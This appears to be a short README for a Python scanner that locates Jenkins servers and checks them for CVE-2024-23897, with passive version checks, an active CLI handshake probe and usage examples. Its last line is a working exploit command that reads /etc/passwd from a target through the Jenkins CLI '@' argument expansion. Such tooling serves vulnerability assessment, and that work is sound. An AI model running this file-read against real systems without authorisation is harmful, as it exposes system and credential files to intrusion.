
Find jenkins environment and checks for CVE-2024-23897
Find Jenkins environment and check for CVE-2024-23897
Tests the paths: /, /login, /oops, /api/json, /cli, /jenkins/, /jenkins/api/json
Identifies via:
Passive (default): compares the detected version with the thresholds:
Active (--active): sends the Jenkins CLI binary protocol handshake over HTTP. If the server responds with 200 + Content-Type: application/octet-stream, it confirms that the CLI channel is open and the exploit is applicable.
python jenkins_scan.py -f urls.txt
python jenkins_scan.py -f urls.txt --active --proxy http://127.0.0.1:8080 -o resultados.txt
python jenkins_scan.py -f urls.txt -t 20 -v --no-color
java -jar jenkins-cli.jar -s http://TARGET/ who-am-i "@/etc/passwd"